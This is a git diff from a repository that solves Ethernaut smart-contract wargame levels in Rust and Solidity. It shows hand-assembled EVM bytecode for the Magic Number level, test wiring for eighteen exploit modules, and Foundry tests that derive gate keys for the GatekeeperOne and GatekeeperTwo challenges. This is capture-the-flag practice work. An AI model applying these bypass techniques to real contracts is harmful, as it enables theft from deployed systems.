0x0f, // PUSH1 0xf + 0x57, // JUMPI + 0x60, 0x00, // PUSH1 0x0 + 0x80, // DUP1 + 0xfd, // REVERT + 0x5b, // JUMPDEST + 0x50, // POP + 0x60, 0xa, // PUSH1 0xa + 0x80, // DUP1 + 0x60, 0x1d, // PUSH1 0x1d + 0x60, 0x00, // PUSH1 0x0 + 0x39, // CODECOPY + 0x60, 0x00, // PUSH1 0x0 + 0xf3, // RETURN + 0xfe, // INVALID + //////////////////////////// + ////// RUNTIME ////// + //////////////////////////// + 0x60, 0x2a, // PUSH1 0x2a + 0x60, 0x0, // PUSH1 0x0 + 0x52, // MSTORE + 0x60, 0x20, // PUSH1 0x1f + 0x60, 0x00, // PUSH1 0x0 + 0xf3, // RETURN + //////////////////////////// + ////// THE END /////// + //////////////////////////// + ]), + None, + ) + .await? + .await?; + + let address = tx.unwrap().contract_address.unwrap(); + + println!( + "Contract address: {}", + ethers::utils::to_checksum(&address, None) + ); + + println!("Setting the solver address...\n\n"); + let target = MagicNum::new(target.address, offender.to_owned()); + target.set_solver(address).send().await?.await?; + + Ok(()) + } +} diff --git a/attack/src/ethernaut/mod.rs b/attack/src/ethernaut/mod.rs index b0f681f..d151b3c 100644 --- a/attack/src/ethernaut/mod.rs +++ b/attack/src/ethernaut/mod.rs @@ -1,4 +1,21 @@ pub mod hack01_fallback; +pub mod hack02_fallout; +pub mod hack03_coin_flip; +pub mod hack04_telephone; +pub mod hack05_token; +pub mod hack06_delegate; +pub mod hack07_force; +pub mod hack08_vault; +pub mod hack09_king; +pub mod hack10_reentrancy; +pub mod hack11_elevator; +pub mod hack12_privacy; +pub mod hack13_gatekeeper_one; +pub mod hack14_gatekeeper_two; +pub mod hack15_naught_coin; +pub mod hack16_preservation; +pub mod hack17_recovery; +pub mod hack18_magic_number; #[cfg(test)] mod tests { @@ -6,6 +23,23 @@ mod tests { use ethers::prelude::*; use hack01_fallback as hack01; + use hack02_fallout as hack02; + use hack03_coin_flip as hack03; + use hack04_telephone as hack04; + use hack05_token as hack05; + use hack06_delegate as hack06; + use hack07_force as hack07; + use hack08_vault as hack08; + use hack09_king as hack09; + use hack10_reentrancy as hack10; + use hack11_elevator as hack11; + use hack12_privacy as hack12; + use hack13_gatekeeper_one as hack13; + use hack14_gatekeeper_two as hack14; + use hack15_naught_coin as hack15; + use hack16_preservation as hack16; + use hack17_recovery as hack17; + use hack18_magic_number as hack18; #[tokio::test] async fn test() -> eyre::Result<()> { @@ -15,6 +49,23 @@ mod tests { let roles = ctf::Roles::new(provider)?; ctf::check_exploit(&roles, hack01::Exploit).await?; + ctf::check_exploit(&roles, hack02::Exploit).await?; + ctf::check_exploit(&roles, hack03::Exploit).await?; + ctf::check_exploit(&roles, hack04::Exploit).await?; + ctf::check_exploit(&roles, hack05::Exploit).await?; + ctf::check_exploit(&roles, hack06::Exploit).await?; + ctf::check_exploit(&roles, hack07::Exploit).await?; + ctf::check_exploit(&roles, hack08::Exploit).await?; + ctf::check_exploit(&roles, hack09::Exploit).await?; + ctf::check_exploit(&roles, hack10::Exploit).await?; + ctf::check_exploit(&roles, hack11::Exploit).await?; + ctf::check_exploit(&roles, hack12::Exploit).await?; + ctf::check_exploit(&roles, hack13::Exploit).await?; + ctf::check_exploit(&roles, hack14::Exploit).await?; + ctf::check_exploit(&roles, hack15::Exploit).await?; + ctf::check_exploit(&roles, hack16::Exploit).await?; + ctf::check_exploit(&roles, hack17::Exploit).await?; + ctf::check_exploit(&roles, hack18::Exploit).await?; Ok(()) } diff --git a/attack/src/ethernaut/template_hack.rs b/attack/src/ethernaut/template_hack.rs index 3ee6264..8dbe55e 100644 --- a/attack/src/ethernaut/template_hack.rs +++ b/attack/src/ethernaut/template_hack.rs @@ -8,9 +8,6 @@ pub(crate) struct Exploit; impl ctf::Exploit for Exploit { type Target = Target; - /** - * - */ async fn attack( self, target: &Self::Target, diff --git a/attack/src/lib.rs b/attack/src/lib.rs index c217d08..cadac8a 100644 --- a/attack/src/lib.rs +++ b/attack/src/lib.rs @@ -1,3 +1,5 @@ +#[allow(unused_imports)] mod abi; +#[allow(unused_imports, unused_variables)] mod ethernaut; // mod damn_vulnerable_defi; diff --git a/attack/test/ethernaut/Gatexploit.t.sol b/attack/test/ethernaut/Gatexploit.t.sol new file mode 100644 index 0000000..13abbe6 --- /dev/null +++ b/attack/test/ethernaut/Gatexploit.t.sol @@ -0,0 +1,66 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import "forge-std/Vm.sol"; + +contract GatekeeperOneClone { + address public entrant; + + modifier gateOne() { + require(msg.sender != tx.origin); + _; + } + + modifier gateTwo() { + require(gasleft() % 8191 == 0); + _; + } + + modifier gateThree(bytes8 _gateKey) { + require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); + require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); + require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); + _; + } + + function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } +} + +contract GatexploitTest is Test { + address private _offender = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720; + // bytes8 private _gateKey = 0x0000972000009720; + bytes8 private _gateKey; + GatekeeperOneClone private _target; + // Gatexploit public exploit; + + function setUp() public { + _gateKey = bytes8(0x0101010100000000 + uint16(uint160(_offender))); + // _target = new GatekeeperOneClone(); + // exploit = new Gatexploit(); + } + + // function testAttack() public { + // exploit.attack(address(_target)); + // } + + function testPartOne() public { + uint32 lhs = uint32(uint64(_gateKey)); + uint16 rhs = uint16(uint64(_gateKey)); + assertEq(lhs, rhs); + } + + function testPartTwo() public { + uint32 lhs = uint32(uint64(_gateKey)); + uint64 rhs = uint64(_gateKey); + assertTrue(lhs != rhs); + } + + function testPartThree() public { + assertEq(uint32(uint64(_gateKey)), uint16(uint160(_offender))); + } +} diff --git a/attack/test/ethernaut/GatexploitTwo.t.sol b/attack/test/ethernaut/GatexploitTwo.t.sol new file mode 100644 index 0000000..ab3c4d4 --- /dev/null +++ b/attack/test/ethernaut/GatexploitTwo.t.sol @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import "forge-std/console2.sol"; +import "forge-std/Vm.sol"; + +contract GatexploitTest is Test { + address private _offender = 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720; + bytes8 private _gateKey; + + function setUp() public { + _gateKey = bytes8(type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(_offender))))); + // console2_log(_gateKey); + } + + function testKey() public { + assertEq(uint64(bytes8(keccak256(abi.encodePacked(_offender)))) ^ uint64(_gateKey), type(uint64).max); + } +} diff --git a/ctf/contracts/DexOffender.sol b/ctf/contracts/DexOffender.sol new file mode 100644 index 0000000..1408445 --- /dev/null +++ b/ctf/contracts/DexOffender.sol @@ -0,0 +1,31 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Ethernaut { + address private _deployer; + address private _offender; + + mapping(uint8 => bool) public passed; + mapping(uint8 => bool) public deployed; + mapping(uint8 => address) public targetContracts; + + constructor(address offender_) { + _deployer = msg.sender; + _offender = offender_; + } + + modifier onlyDeployer() { + require(msg.sender == _deployer, "Only level deployer allowed!"); + _; + } + + function markAsPassed(uint8 lvl_) public onlyDeployer { + passed[lvl_] = true; + } + + function deployLevel(uint8 lvl_, address target_) public onlyDeployer { + targetContracts[lvl_] = target_; + deployed[lvl_] = true; + passed[lvl_] = false; + } +} diff --git a/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix b/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix index 11126d4..2bd244c 100644 --- a/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix +++ b/lib/openzeppelin-contracts-06/lib/forge-std/lib/ds-test/default.nix @@ -1,5 +1,9 @@ +<<<<<<< HEAD { solidityPackage, dappsys }: solidityPackage { +======= +{ solidityPackage, dappsys }: solidityPackage { +>>>>>>> 9b9ad6c (solve shit) name = "ds-test"; src = ./src; } diff --git a/remappings.txt b/remappings.txt index 9eb2c34..7b69368 100644 --- a/remappings.txt +++ b/remappings.txt @@ -1,2 +1,3 @@ +@forge-std/=lib/forge-std/src/ @openzeppelin-solc06/contracts/=lib/openzeppelin-contracts-06/contracts/ @openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/ \ No newline at end of file